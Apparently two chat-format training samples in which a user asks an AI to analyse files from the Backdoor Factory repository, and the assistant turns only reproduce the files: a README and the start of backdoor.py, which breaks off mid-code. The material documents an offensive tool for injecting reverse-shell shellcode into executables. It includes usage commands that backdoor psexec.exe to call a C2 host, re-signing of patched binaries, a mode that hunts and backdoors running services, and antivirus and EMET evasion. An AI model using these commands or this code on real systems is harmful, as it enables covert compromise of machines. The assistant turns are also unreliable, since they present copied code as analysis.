{"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: README.md\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n\n# The new version of BACKDOOR FACTORY is available! Get access here: https://github.com/sponsors/secretsquirrel\n\n# WARNING: Pull Requests WILL BE IGNORED AND CLOSED.\n\n## The Backdoor Factory (BDF)\n\nFor security professionals and researchers only.\n\nThe goal of BDF is to patch executable binaries with user desired shellcode and continue normal execution of the prepatched state.\n\n[![Join the chat at https://gitter.im/secretsquirrel/the-backdoor-factory](https://badges.gitter.im/secretsquirrel/the-backdoor-factory.svg)](https://gitter.im/secretsquirrel/the-backdoor-factory?utm_source=badge&utm_medium=badge&utm_campaign=pr-badge&utm_content=badge) [![Black Hat Arsenal](https://www.toolswatch.org/badges/arsenal/2015.svg)](https://www.blackhat.com/us-15/arsenal.html)\n\nBlack Hat USA 2015:\n\n Video: https://www.youtube.com/watch?v=OuyLzkG16Uk\n \n Paper: https://www.blackhat.com/docs/us-15/materials/us-15-Pitts-Repurposing-OnionDuke-A-Single-Case-Study-Around-Reusing-Nation-State-Malware-wp.pdf\n\n\nShmoocon 2015:\n \n Video: https://archive.org/details/joshpitts_shmoocon2015\n\n Paper: https://www.dropbox.com/s/te7e35c8xcnyfzb/JoshPitts-UserlandPersistenceOnMacOSX.pdf\n\n\nDerbyCon 2014: \n\n Video: http://www.youtube.com/watch?v=LjUN9MACaTs\n\n\nDerbyCon 2013: \n \n Video: http://www.youtube.com/watch?v=jXLb2RNX5xs\n\n Injection Module Demo: http://www.youtube.com/watch?v=04aJAex2o3U\n\n Slides: http://www.slideshare.net/midnite_runr/patching-windows-executables-with-the-backdoor-factory\n\n\nContact the developer on:\n \n IRC:\n irc.freenode.net #BDFactory \n\n Twitter:\n @midnite_runr\n\n\nUnder a BSD 3 Clause License\n\nSee the wiki: https://github.com/secretsquirrel/the-backdoor-factory/wiki\n\n---\n## Installing\n\n### DOCKER\n```\ndocker pull secretsquirrel/the-backdoor-factory\ndocker run -it secretsquirrel/the-backdoor-factory bash\n# ./backdoor.py\n```\n\n###OLD SCHOOL\n\n####Dependences\n#####*To use OnionDuke you MUST be on an intel machine because aPLib has no support for the ARM chipset yet.*\n\n\n[Capstone engine](http://www.capstone-engine.org) can be installed from PyPi with:\n\n sudo pip install capstone\n\nPefile, most recent:\n \n https://code.google.com/p/pefile/\n\nosslsigncode (included in repo): \n \n http://sourceforge.net/p/osslsigncode/osslsigncode/ci/master/tree/\n\nKali Install:\n\n apt-get update\n apt-get install backdoor-factory\n\n\nOther *NIX/MAC INSTALL:\n\n ./install.sh\n\nThis will install Capstone with 3.01 pip to install pefile.\n\nUPDATE:\n\n ./update.sh\n\n\n---\n\nSupporting: \n\n Windows PE x86/x64,ELF x86/x64 (System V, FreeBSD, ARM Little Endian x32), \n and Mach-O x86/x64 and those formats in FAT files\n \n Packed Files: PE UPX x86/x64\n \n Experimental: OpenBSD x32 \n\n\nSome executables have built in protections, as such this will not work on all binaries. It is advisable that you test target binaries before deploying them to clients or using them in exercises. I'm on the verge of bypassing NSIS, so bypassing these checks will be included in the future.\n\n Many thanks to Ryan O'Neill --ryan 'at' codeslum org--\n Without him, I would still be trying to do stupid things \n with the elf format.\n Also thanks to Silvio Cesare with his 1998 paper \n (http://vxheaven.org/lib/vsc01.html) which these ELF patching\n techniques are based on.\n\n\n\nRecently tested on many binaries.\n---\n\n./backdoor.py -h \n Usage: backdoor.py [options]\n\n \n---\n\n##Features:\n\n###PE Files\n\n Can find all codecaves in an EXE/DLL.\n By default, clears the pointer to the PE certificate table, thereby unsigning a binary.\n Can inject shellcode into code caves or into a new section.\n Can find if a PE binary needs to run with elevated privileges.\n When selecting code caves, you can use the following commands:\n -Jump (j), for code cave jumping\n -Single (s), for patching all your shellcode into one cave\n -Append (a), for creating a code cave\n -Ignore (i or q), nevermind, ignore this binary\n Can ignore DLLs\n Import Table Patching\n AutoPatching (-m automtic)\n Onionduke (-m onionduke)\n\n###ELF Files\n\n Extends 1000 bytes (in bytes) to the TEXT SEGMENT and injects shellcode into that section of code.\n\n###Mach-O Files\n Pre-Text Section patching and signature removal\n\n###Overall\n \n The user can :\n -Provide custom shellcode.\n -Patch a directory of executables/dlls.\n -Select x32 or x64 binaries to patch only.\n -Include BDF is other python projects see pebin.py and elfbin.py\n\n---------------------------------------------\n\nSample Usage:\n---\n\n###Patch an exe/dll using an existing code cave:\n\n ./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp \n\n [*] In the backdoor module\n [*] Checking if binary is supported\n [*] Gathering file info\n [*] Reading win32 entry instructions\n [*] Looking for and setting selected shellcode\n [*] Creating win32 resume execution stub\n [*] Looking for caves that will fit the minimum shellcode length of 402\n [*] All caves lengths: (402,)\n ############################################################\n The following caves can be used to inject code and possibly\n continue execution.\n **Don't like what you see? Use jump, single, append, or ignore.**\n ############################################################\n [*] Cave 1 length as int: 402\n [*] Available caves:\n 1. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e4d5 End: 0x2e6d0; Cave Size: 507\n 2. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e6e9 End: 0x2e8d5; Cave Size: 492\n 3. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2e8e3 End: 0x2ead8; Cave Size: 501\n 4. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eaf1 End: 0x2ecdd; Cave Size: 492\n 5. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2ece7 End: 0x2eee0; Cave Size: 505\n 6. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2eef3 End: 0x2f0e5; Cave Size: 498\n 7. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f0fb End: 0x2f2ea; Cave Size: 495\n 8. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f2ff End: 0x2f4f8; Cave Size: 505\n 9. Section Name: .data; Section Begin: 0x2e400 End: 0x30600; Cave begin: 0x2f571 End: 0x2f7a0; Cave Size: 559\n 10. Section Name: .rsrc; Section Begin: 0x30600 End: 0x5f200; Cave begin: 0x5b239 End: 0x5b468; Cave Size: 559\n **************************************************\n [!] Enter your selection: 5\n Using selection: 5\n [*] Changing Section Flags\n [*] Patching initial entry instructions\n [*] Creating win32 resume execution stub\n [*] Overwriting certificate table pointer\n [*] psexec.exe backdooring complete\n File psexec.exe is in the 'backdoored' directory\n\n---\n\n###Patch an exe/dll by adding a code section:\n\n ./backdoor.py -f psexec.exe -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a \n [*] In the backdoor module\n [*] Checking if binary is supported\n [*] Gathering file info\n [*] Reading win32 entry instructions\n [*] Looking for and setting selected shellcode\n [*] Creating win32 resume execution stub\n [*] Creating Code Cave\n - Adding a new section to the exe/dll for shellcode injection\n [*] Patching initial entry instructions\n [*] Creating win32 resume execution stub\n [*] Overwriting certificate table pointer\n [*] psexec.exe backdooring complete\n File psexec.exe is in the 'backdoored' directory\n\n---\n\n###Patch a directory of exes:\n ./backdoor.py -d test/ -i 192.168.0.100 -p 8080 -s reverse_shell_tcp -a\n ...output too long for README...\n\n---\n\n###User supplied shellcode:\n msfpayload windows/exec CMD='calc.exe' R > calc.bin\n ./backdoor.py -f psexec.exe -s user_supplied_shellcode -U calc.bin\n This will pop calc.exe on a target windows workstation. So 1337. Much pwn. Wow.\n\n---\n###PEcodeSigning\n\nBDF can sign PE files if you have a codesigning cert. It uses osslsigncode.\nPut your signing cert and private key in the certs/ directory. Prep your certs using openssl commands from this blog post:\nhttp://secureallthethings.blogspot.com/2015/12/add-pe-code-signing-to-backdoor-factory.html\n\nPut your private key password in a file (gasp) as so (exactly as so): \n \n echo -n yourpassword > certs/passFile.txt\n\nName your certs EXACTLY as follows:\n\t\n signingCert.cer => certs/signingCert.cer\n signingPrivateKey.pem => certs/signingPrivateKey.pem\n\nYour certs/ directory should look excatly as so:\n \n certs\n \u251c\u2500\u2500 passFile.txt\n \u251c\u2500\u2500 signingPrivateKey.pem\n \u2514\u2500\u2500 signingCert.cer\n\nEnable PE Code Signing with the -C flag as so:\n\n ./backdoor.py -f tcpview.exe -s iat_reverse_tcp_inline -H 172.16.186.1 -P 8080 -m automatic -C\n\n\nOn successful run you should see this line in BDF output:\n\n [*] Code Signing Succeeded\n\n\n\n---\n###Hunt and backdoor: Injector | Windows Only\n The injector module will look for target executables to backdoor on disk. It will check to see if you have identified the target as a service, check to see if the process is running, kill the process and/or service, inject the executable with the shellcode, save the original file to either file.exe.old or another suffix of choice, and attempt to restart the process or service. \n Edit the python dictionary \"list_of_targets\" in the 'injector' module for targets of your choosing.\n\n ./backdoor.py -i -H 192.168.0.100 -P 8080 -s reverse_shell_tcp -a -u .moocowwow \n\n---\n\n###Changelog\n\n####01/11/2016\n\n* Fix entry point truncation bug that led to improper recovery in rare instances\n\n\n####07/04/2016\n\n* Support for dynamic paths in BDFProxy for preprocessor\n\n####06/19/2016\n\n* Added the preprocessor and other optimizations\n* The preprocessor allows the user to modify the binary prior to payload injection\n* Invoke with the -p flag\n* See samples in ./preprocessor/\n\n\n####12/20/2015\n\n * Added directory paths to BDF to find certs directory.\n\n\n####12/18/2015\n * Added PE codesiging support. You must provide your own codesigning cert. See here: https://github.com/secretsquirrel/the-backdoor-factory#pecodesigning\n\n####11/17/2015\n\n * Bug fix in rsrc section for onionduke patching and remove of random win32 version value in PE Header\n\n####11/13/2015\n * Added proper truncating of a PE file after signature pointer is cleared in PE header - e.g. proper unsigning. Resulting in better support for IAT patching\n\n####10/19/2015\n * Fixed bug in IAT directory cave assignment that caused BDF crash\n * Made the feature optional with -A flag\n\n####10/13/2015\n * Changed the Import Table Directory modifications from adding a new section to using an existing code cave\n\n\n####08/12/2015\n * Added 'replace' PATCH_METHOD - a straight PE copy pasta of the supplied binary\n * More for usage with BDFProxy\n\n Usage: ./backdoor.py -f weee.exe -m replace -b supplied_binary.exe\n\n####08/11/2015\n * Stability fix for auto cave selection for rare caves of overlap\n\n####08/05/2015\n \n * BH USA UPDATES, w00t!\n * OnionDuke, use -m onionduke\n * Supports user supplied exe's and dll's\n * Usage: ./backdoor.py -f originalfile.exe -m onionduke -b pentest.dll/exe \n * XP MODE = Prior IAT based payloads did not support XP, Wine, or Windows 98. If you need to support XP use the -X flag. I'm not supporting anything less than XP (and not XP x64).\n * Invoke UAC prompt to runas as admin. *experimental* - patches the PE manifest if requestedExecutionLevel exists.\n * Stability updates:\n \t* Fixed a bug with incorrect RVA calculation jmp'ing across 2+ code caves \n \t* Better checks to determine if a new section for the IAT will write into appended data and therefore fail\n * Speed Improvements:\n * Faster code cave finding while using *automatic* mode (-m automatic)\n * Faster rsrc parsing to find manifest file \n\n####5/01/2015\n\n * Bug fix to the reverse_tcp_stager_threaded payload when using single caves payload\n\n####4/28/2015\n\n * Adding check for Bound Imports (PE files with bound imports will not be patched)\n\n####4/14/2015\n\nSo many updates:\n * Automatic patching for PE files (use -m automatic with a *_threaded payload)\n \n * New IAT payloads for x86/x64 PE files\n\n * Just watch: https://www.youtube.com/watch?v=kkLI_ur6BxY\n\n####2/14/2015\nI <3 you guys\n\n* Added Import Address Table patching for PEs to support iat_reverse_tcp payloads that \nuse the import table for winAPI calls. If the binary you are patching does not\nhave LoadLibraryA and GetProcAddress, for example, BDF will patch it in to a \nnew Import Table in a new section. Supports x64/x86 PEs.\n\n* Added iat_reverse_tcp for x64 PEs.\n\n* Bug fixes and improvements\n\n####1/1/2015\n\nHappy New Year!\n\nTwo new OS X payloads! The delay: delay_reverse_shell_tcp\n\n-B 30 --> delay the payload for 30 seconds, main code runs right away.\n\nSetting of firm capstone commit for building into BDF, capstone 'Next' repo\nbreaks BDF.\n\nFixes to support cython capstone implementation null byte truncation issue\n\n\n####12/27/2014\n\nAdded payloadtests.py\n\nThis script will output patched files in backdoored that will allow for the user to \ntest the payloads as they wish. Each payload type increments the port used\nby one.\n\n\n Usage: payloadtest.py binary HOST PORT\n \n\n####12/17/2014\n\nOS X Beaconing Payloads for x86 and x64: beaconing_reverse_shell_tcp \n\n-B 15 --> set beacon time for 15 secs\n\nBug fix to support OS X for BDFProxy\n\n\n\n####10/11/2014\n\nPE UPX Patching Added\n\n\n\n####9/26/2014\n\nMach-O x86/x64 added\n\nx86 IAT payload optimization\n\n\n\n####7/31/2014 \n\nAdded support for ARM x32 LE ELF patching\n\n\n\n####7/22/2014 \n\nAdded FreeBSD x32 ELF patching support\n\nChange to BSD 3 Clause License\n\n\n\n####7/13/2014 \n\nIncorporated Capstone: http://www.capstone-engine.org/\n\nDuring the process of adding Capstone, I removed about 500 lines of code. That's pretty awesome.\n\nRenamed loadliba_reverse_tcp to iat_reverse_tcp.\n\nSmall optimizations for speed.\n\n\n\n####5/30/2014 \n\nAdded a new win86 shellcode: loadliba_reverse_tcp\n \n - Based on the following research by Jared DeMott: http://bromiumlabs.files.wordpress.com/2014/02/bypassing-emet-4-1.pdf -- Thanks @bannedit0 for mentioning this.\n - This shellcode uses LoadLibraryA and GetProcAddress APIs to find all necessary APIs for a reverse TCP connection. No more of Stephen Fewers API hash lookup (which is still brilliant).\n - It's not stealthy. It's position dependent. But the results are great (code cave jumping): https://www.virustotal.com/en/file/a31ed901abcacd61a09a84157887fc4a189d3fe3e3573c24e776bac8d5bb8a0f/analysis/1401385796/\n - Bypasses EMET 4.1. The caller protection doesn't catch it.\n - As such, I'll be furthering this idea with an algo that patches the binary with custom shellcode based on the APIs that are in the IAT. Including porting the current win86 shellcodes to this idea.\n\n---\n\n<|im_end|>"} {"text": "<|im_start|>user\nYou are a Singularity-Level AI. Analyze this file from the 'BACKDOOR_FACTORY' repository. Explain the technical logic, security implications (offensive/defensive), or financial algorithm involved.\nFile: backdoor.py\n<|im_end|>\n<|im_start|>assistant\nREPO: BACKDOOR_FACTORY\nCODE:\n#!/usr/bin/env python2\n'''\nBackdoorFactory (BDF) v3 - FOUNTAINPATCH\n\nMany thanks to Ryan O'Neill --ryan 'at' codeslum org--\nWithout him, I would still be trying to do stupid things\nwith the elf format.\n\nAlso thanks to Silvio Cesare with his 1998 paper\n(http://vxheaven.org/lib/vsc01.html) which these ELF patching\ntechniques are based on.\n\nSpecial thanks to Travis Morrow for poking holes in my ideas.\n\nCopyright (c) 2013-2017, Joshua Pitts\nAll rights reserved.\n\nRedistribution and use in source and binary forms, with or without modification,\nare permitted provided that the following conditions are met:\n\n 1. Redistributions of source code must retain the above copyright notice,\n this list of conditions and the following disclaimer.\n\n 2. Redistributions in binary form must reproduce the above copyright notice,\n this list of conditions and the following disclaimer in the documentation\n and/or other materials provided with the distribution.\n\n 3. Neither the name of the copyright holder nor the names of its contributors\n may be used to endorse or promote products derived from this software without\n specific prior written permission.\n\nTHIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS \"AS IS\"\nAND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE\nIMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE\nARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE\nLIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR\nCONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF\nSUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS\nINTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN\nCONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\nARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE\nPOSSIBILITY OF SUCH DAMAGE.\n\n'''\n\nimport sys\nimport os\nimport signal\nimport time\nfrom random import choice\nfrom optparse import OptionParser\nfrom pebin import pebin\nfrom elfbin import elfbin\nfrom machobin import machobin\n\n\ndef signal_handler(signal, frame):\n print '\\nProgram Exit'\n sys.exit(0)\n\n\nclass bdfMain():\n\n version = \"\"\"\\\n Version: 3.4.2\n \"\"\"\n\n author = \"\"\"\\\n !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n ALERT: NEW VERSION Available \n *** ONLY AVAILABLE TO SPONSORS ***\n SPONSOR HERE: https://github.com/sponsors/secretsquirrel\n Author: Joshua Pitts\n Email: the.midnite.runr[-at ]gmailcom\n Twitter: @ausernamedjosh\n !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!\n \"\"\"\n\n #ASCII ART\n menu = [\"-.(`-') (`-') _ <-\"\n \".(`-') _(`-') (`-')\\n\"\n \"__( OO) (OO ).-/ _ __( OO)\"\n \"( (OO ).-> .-> .-> <-.(OO ) \\n\"\n \"'-'---.\\ / ,---. \\-,-----.'-'. ,--\"\n \".\\ .'_ (`-')----. (`-')----. ,------,) \\n\"\n \"| .-. (/ | \\ /`.\\ | .--./| .' /\"\n \"'`'-..__)( OO).-. '( OO).-. '| /`. ' \\n\"\n \"| '-' `.) '-'|_.' | /_) (`-')| /)\"\n \"| | ' |( _) | | |( _) | | || |_.' | \\n\"\n \"| /`'. |(| .-. | || |OO )| . ' |\"\n \" | / : \\| |)| | \\| |)| || . .' \\n\"\n \"| '--' / | | | |(_' '--'\\| |\\ \\|\"\n \" '-' / ' '-' ' ' '-' '| |\\ \\ \\n\"\n \"`------' `--' `--' `-----'`--' '--'\"\n \"`------' `-----' `-----' `--' '--' \\n\"\n \" (`-') _ (`-') \"\n \" (`-') \\n\"\n \" <-. (OO ).-/ _ ( OO).-> \"\n \" .-> <-.(OO ) .-> \\n\"\n \"(`-')-----./ ,---. \\-,-----./ '._\"\n \" (`-')----. ,------,) ,--.' ,-. \\n\"\n \"(OO|(_\\---'| \\ /`.\\ | .--./|'--...__)\"\n \"( OO).-. '| /`. '(`-')'.' / \\n\"\n \" / | '--. '-'|_.' | /_) (`-')`--. .--'\"\n \"( _) | | || |_.' |(OO \\ / \\n\"\n \" \\_) .--'(| .-. | || |OO ) | | \"\n \" \\| |)| || . .' | / /) \\n\"\n \" `| |_) | | | |(_' '--'\\ | | \"\n \" ' '-' '| |\\ \\ `-/ /` \\n\"\n \" `--' `--' `--' `-----' `--' \"\n \" `-----' `--' '--' `--' \\n\",\n\n \"__________ \"\n \" __ .___ \\n\"\n \"\\______ \\_____ ____ \"\n \"| | __ __| _/____ ___________ \\n\"\n \" | | _/\\__ \\ _/ ___\\|\"\n \" |/ // __ |/ _ \\ / _ \\_ __ \\ \\n\"\n \" | | \\ / __ \\\\\\\\ \\__\"\n \"_| | <_> ) | \\/\\n\"\n \" |______ /(____ /\\___ >\"\n \"__|_ \\____ |\\____/ \\____/|__| \\n\"\n \" \\/ \\/ \\/\"\n \" \\/ \\/ \\n\"\n \"___________ \"\n \"__ \\n\"\n \"\\_ _____/____ _____/\"\n \" |_ ___________ ___.__. \\n\"\n \" | __) \\__ \\ _/ ___\\ \"\n \" __\\/ _ \\_ __ < | | \\n\"\n \" | \\ / __ \\\\\\\\ \\__\"\n \"_| | ( <_> ) | \\/\\___ | \\n\"\n \" \\___ / (____ /\\___ >_\"\n \"_| \\____/|__| / ____| \\n\"\n \" \\/ \\/ \\/ \"\n \" \\/ \\n\",\n\n \" ____ ____ ______ \"\n \" __ \\n\"\n \" / __ )/ __ \\/ ____/___ \"\n \"______/ /_____ _______ __\\n\"\n \" / __ / / / / /_ / __ `/\"\n \" ___/ __/ __ \\/ ___/ / / /\\n\"\n \" / /_/ / /_/ / __/ / /_/ /\"\n \" /__/ /_/ /_/ / / / /_/ /\\n\"\n \"/_____/_____/_/ \\__,_/\"\n \"\\___/\\__/\\____/_/ \\__, /\\n\"\n \" \"\n \" /____/\\n\"]\n\n signal.signal(signal.SIGINT, signal_handler)\n\n parser = OptionParser()\n parser.add_option(\"-f\", \"--file\", dest=\"FILE\", action=\"store\",\n type=\"string\",\n help=\"File to backdoor\")\n parser.add_option(\"-s\", \"--shell\", default=\"show\", dest=\"SHELL\",\n action=\"store\", type=\"string\",\n help=\"Payloads that are available for use.\"\n \" Use 'show' to see payloads.\"\n )\n parser.add_option(\"-H\", \"--hostip\", default=None, dest=\"HOST\",\n action=\"store\", type=\"string\",\n help=\"IP of the C2 for reverse connections.\")\n parser.add_option(\"-P\", \"--port\", default=None, dest=\"PORT\",\n action=\"store\", type=\"int\",\n help=\"The port to either connect back to for reverse \"\n \"shells or to listen on for bind shells\")\n parser.add_option(\"-J\", \"--cave_jumping\", dest=\"CAVE_JUMPING\",\n default=False, action=\"store_true\",\n help=\"Select this options if you want to use code cave\"\n \" jumping to further hide your shellcode in the binary.\"\n )\n parser.add_option(\"-a\", \"--add_new_section\", default=False,\n dest=\"ADD_SECTION\", action=\"store_true\",\n help=\"Mandating that a new section be added to the \"\n \"exe (better success) but less av avoidance\")\n parser.add_option(\"-U\", \"--user_shellcode\", default=None,\n dest=\"SUPPLIED_SHELLCODE\", action=\"store\",\n help=\"User supplied shellcode, make sure that it matches\"\n \" the architecture that you are targeting.\"\n )\n parser.add_option(\"-c\", \"--cave\", default=False, dest=\"FIND_CAVES\",\n action=\"store_true\",\n help=\"The cave flag will find code caves that \"\n \"can be used for stashing shellcode. \"\n \"This will print to all the code caves \"\n \"of a specific size.\"\n \"The -l flag can be use with this setting.\")\n parser.add_option(\"-l\", \"--shell_length\", default=380, dest=\"SHELL_LEN\",\n action=\"store\", type=\"int\",\n help=\"For use with -c to help find code \"\n \"caves of different sizes\")\n parser.add_option(\"-o\", \"--output-file\", default=None, dest=\"OUTPUT\",\n action=\"store\", type=\"string\",\n help=\"The backdoor output file\")\n parser.add_option(\"-n\", \"--section\", default=\"sdata\", dest=\"NSECTION\",\n action=\"store\", type=\"string\",\n help=\"New section name must be \"\n \"less than seven characters\")\n parser.add_option(\"-d\", \"--directory\", dest=\"DIR\", action=\"store\",\n type=\"string\",\n help=\"This is the location of the files that \"\n \"you want to backdoor. \"\n \"You can make a directory of file backdooring faster by \"\n \"forcing the attaching of a codecave \"\n \"to the exe by using the -a setting.\")\n parser.add_option(\"-w\", \"--change_access\", default=True,\n dest=\"CHANGE_ACCESS\", action=\"store_false\",\n help=\"This flag changes the section that houses \"\n \"the codecave to RWE. Sometimes this is necessary. \"\n \"Enabled by default. If disabled, the \"\n \"backdoor may fail.\")\n parser.add_option(\"-i\", \"--injector\", default=False, dest=\"INJECTOR\",\n action=\"store_true\",\n help=\"This command turns the backdoor factory in a \"\n \"hunt and shellcode inject type of mechanism. Edit \"\n \"the target settings in the injector module.\")\n parser.add_option(\"-u\", \"--suffix\", default=\".old\", dest=\"SUFFIX\",\n action=\"store\", type=\"string\",\n help=\"For use with injector, places a suffix\"\n \" on the original file for easy recovery\")\n parser.add_option(\"-D\", \"--delete_original\", dest=\"DELETE_ORIGINAL\",\n default=False, action=\"store_true\",\n help=\"For use with injector module. This command\"\n \" deletes the original file. Not for use in production \"\n \"systems. *Author not responsible for stupid uses.*\")\n parser.add_option(\"-O\", \"--disk_offset\", dest=\"DISK_OFFSET\", default=0,\n type=\"int\", action=\"store\",\n help=\"Starting point on disk offset, in bytes. \"\n \"Some authors want to obfuscate their on disk offset \"\n \"to avoid reverse engineering, if you find one of those \"\n \"files use this flag, after you find the offset.\")\n parser.add_option(\"-S\", \"--support_check\", dest=\"SUPPORT_CHECK\",\n default=False, action=\"store_true\",\n help=\"To determine if the file is supported by BDF prior\"\n \" to backdooring the file. For use by itself or with \"\n \"verbose. This check happens automatically if the \"\n \"backdooring is attempted.\"\n )\n parser.add_option(\"-M\", \"--cave-miner\", dest=\"CAVE_MINER\", default=False, action=\"store_true\",\n help=\"Future use, to help determine smallest shellcode possible in a PE file\"\n )\n parser.add_option(\"-q\", \"--no_banner\", dest=\"NO_BANNER\", default=False, action=\"store_true\",\n help=\"Kills the banner.\"\n )\n parser.add_option(\"-v\", \"--verbose\", default=False, dest=\"VERBOSE\",\n action=\"store_true\",\n help=\"For debug information output.\")\n parser.add_option(\"-T\", \"--image-type\", dest=\"IMAGE_TYPE\", default=\"ALL\",\n type='string',\n action=\"store\", help=\"ALL, x86, or x64 type binaries only. Default=ALL\")\n parser.add_option(\"-Z\", \"--zero_cert\", dest=\"ZERO_CERT\", default=True, action=\"store_false\",\n help=\"Allows for the overwriting of the pointer to the PE certificate table\"\n \" effectively removing the certificate from the binary for all intents\"\n \" and purposes.\"\n )\n parser.add_option(\"-R\", \"--runas_admin\", dest=\"RUNAS_ADMIN\", default=False, action=\"store_true\",\n help=\"EXPERIMENTAL \"\n \"Checks the PE binaries for \\'requestedExecutionLevel level=\\\"highestAvailable\\\"\\'\"\n \". If this string is included in the binary, it must run as system/admin. If not \"\n \"in Support Check mode it will attmept to patch highestAvailable into the manifest \"\n \"if requestedExecutionLevel entry exists.\"\n )\n parser.add_option(\"-L\", \"--patch_dll\", dest=\"PATCH_DLL\", default=True, action=\"store_false\",\n help=\"Use this setting if you DON'T want to patch DLLs. Patches by default.\"\n )\n parser.add_option(\"-F\", \"--fat_priority\", dest=\"FAT_PRIORITY\", default=\"x64\", action=\"store\",\n help=\"For MACH-O format. If fat file, focus on which arch to patch. Default \"\n \"is x64. To force x86 use -F x86, to force both archs use -F ALL.\"\n )\n parser.add_option(\"-B\", \"--beacon\", dest=\"BEACON\", default=15, action=\"store\", type=\"int\",\n help=\"For payloads that have the ability to beacon out, set the time in secs\"\n )\n parser.add_option(\"-m\", \"--patch-method\", dest=\"PATCH_METHOD\", default=\"manual\", action=\"store\",\n type=\"string\", help=\"Patching methods for PE files, 'manual','automatic', replace \"\n \"and onionduke\")\n parser.add_option(\"-b\", \"--user_malware\", dest=\"SUPPLIED_BINARY\", default=None, action=\"store\",\n help=\"For onionduke. Provide your desired binary.\")\n parser.add_option(\"-X\", \"--xp_mode\", dest=\"XP_MODE\", default=False, action=\"store_true\",\n help=\"Default: DO NOT support for XP legacy machines, use -X to support XP\"\n \". By default the binary will crash on XP machines (e.g. sandboxes)\")\n parser.add_option(\"-A\", \"--idt_in_cave\", dest=\"IDT_IN_CAVE\", default=False, action=\"store_true\",\n help=\"EXPERIMENTAL \"\n \"By default a new Import Directory Table is created in a new section, \"\n \"by calling this flag it will be put in a code cave. This can cause bianry \"\n \"failure is some cases. Test on target binaries first.\"\n )\n parser.add_option(\"-C\",\"--code_sign\", dest=\"CODE_SIGN\", default=False, action=\"store_true\", \n help=\"For those with codesigning certs wishing to sign PE binaries only. \" \n \"Name your signing key and private key signingcert.cer and signingPrivateKey.pem \"\n \"repectively in the certs directory it's up to you to obtain signing certs.\")\n parser.add_option(\"-p\",\"--preprocess\", dest=\"PREPROCESS\", default=False, action=\"store_true\", \n help=\"To execute preprocessing scripts in the preprocess directory\")\n\n (options, args) = parser.parse_args()\n\n def basicDiscovery(FILE):\n macho_supported = ['\\xcf\\xfa\\xed\\xfe', '\\xca\\xfe\\xba\\xbe',\n '\\xce\\xfa\\xed\\xfe',\n ]\n\n testBinary = open(FILE, 'rb')\n header = testBinary.read(4)\n testBinary.close()\n if 'MZ' in header:\n return 'PE'\n elif 'ELF' in header:\n return 'ELF'\n elif header in macho_supported:\n return \"MACHO\"\n else:\n 'Only support ELF, PE, and MACH-O file formats'\n return None\n\n if options.NO_BANNER is False:\n print choice(menu)\n print author\n print version\n time.sleep(.5)\n else:\n print \"\\t Backdoor Factory\"\n print author\n print version\n\n if options.DIR:\n for root, subFolders, files in os.walk(options.DIR):\n for _file in files:\n options.FILE = os.path.join(root, _file)\n if os.path.isdir(options.FILE) is True:\n print \"Directory found, continuing\"\n continue\n is_supported = basicDiscovery(options.FILE)\n if is_supported is \"PE\":\n supported_file = pebin(options.FILE,\n options.OUTPUT,\n options.SHELL,\n options.NSECTION,\n options.DISK_OFFSET,\n options.ADD_SECTION,\n options.CAVE_JUMPING,\n options.PORT,\n options.HOST,\n options.SUPPLIED_SHELLCODE,\n options.INJECTOR,\n options.CHANGE_ACCESS,\n options.VERBOSE,\n options.SUPPORT_CHECK,\n options.SHELL_LEN,\n options.FIND_CAVES,\n options.SUFFIX,\n options.DELETE_ORIGINAL,\n options.CAVE_MINER,\n options.IMAGE_TYPE,\n options.ZERO_CERT,\n options.RUNAS_ADMIN,\n options.PATCH_DLL,\n options.PATCH_METHOD,\n options.SUPPLIED_BINARY,\n options.XP_MODE,\n options.IDT_IN_CAVE,\n options.CODE_SIGN,\n options.PREPROCESS,\n )\n elif is_supported is \"ELF\":\n supported_file = elfbin(options.FILE,\n options.OUTPUT,\n options.SHELL,\n options.HOST,\n options.PORT,\n options.SUPPORT_CHECK,\n options.FIND_CAVES,\n options.SHELL_LEN,\n options.SUPPLIED_SHELLCODE,\n options.IMAGE_TYPE,\n options.PREPROCESS,\n )\n elif is_supported is \"MACHO\":\n supported_file = machobin(options.FILE,\n options.OUTPUT,\n options.SHELL,\n options.HOST,\n options.PORT,\n options.SUPPORT_CHECK,\n options.SUPPLIED_SHELLCODE,\n options.FAT_PRIORITY,\n options.BEACON,\n options.PREPROCESS,\n )\n\n if options.SUPPORT_CHECK is True:\n if os.path.isfile(options.FILE):\n is_supported = False\n print \"file\", options.FILE\n try:\n is_supported = supported_file.support_check()\n except Exception, e:\n is_supported = False\n print 'Exception:', str(e), '%s' % options.FILE\n if is_supported is False or 